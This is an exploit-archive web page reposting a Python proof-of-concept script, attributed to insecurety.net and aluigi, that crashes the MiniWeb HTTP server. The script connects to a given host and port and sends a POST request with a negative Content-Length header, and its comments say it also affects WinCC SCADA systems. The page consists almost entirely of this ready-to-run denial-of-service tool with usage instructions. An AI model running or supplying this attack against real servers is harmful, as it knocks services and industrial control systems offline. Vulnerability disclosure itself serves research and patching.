首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
MiniWeb Content-Length Denial Of Service
来源:insecurety.net 作者:aluigi 发布时间:2012-06-04  
#!/usr/bin/env python
# miniweb Content-Length DoS PoC
# Not a 0day, sadly.
# aluigi found this ages back, I independantly rediscovered it fuzzing
# and noticed it was still unpatched. Oh well, better disclose so!
# vuln version at code.google.com/p/miniweb/
# affects WinCC also :) (Oh, them SCADA...)
# Massive props to ohdae for helping with this!
# insecurety.net | bindshell.it.cx
import sys
import socket

def banner():
    print """
MiniWeb Killer - Kills MiniWeb
-Insecurety Research
-Bindshell Labs
"""

if len(sys.argv) != 3:
    banner()
    print "Usage: ./MiniDoS.py <host> <port>"
    sys.exit(1)

banner()
target = sys.argv[1]
port = sys.argv[2]

evil = "POST / HTTP/1.1\r\n"
evil += "Host: %s\r\n" %(target)
evil += "User-Agent: MiniWeb Killer ^-^\r\n"
evil += "Content-Length: -10 \r\n\r\n" # part that kills the box
expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
try:
    expl.connect((target, int(port)))
    print "[+] Connected, firing das payload!"
except:
    print "[-] Connection Failed... Is there even a target?"
    sys.exit(1)
try:
    expl.send(evil)
    print "[+] Payload Sent!"
except:
    print "[-] Payload Sending Failure... WTF?"
    sys.exit(1)
expl.close()
print "[*] Should be dead..."

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Citrix Provisioning Services 5
·Sorensoft Power Media 6.0 Deni
·Citrix Provisioning Services 5
·Sony VAIO Wireless Manager 4.0
·Citrix Provisioning Services 5
·Microsoft Wordpad 5.1 (.doc) N
·GIMP script-fu Server Buffer O
·GIMP 2.6 script-fu Buffer Over
·Log1 CMS writeInfo() PHP Code
·PHP Volunteer Management Syste
·PHP 5.3.10 spl_autoload() Loca
·Universal Browser Link Spoofin
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved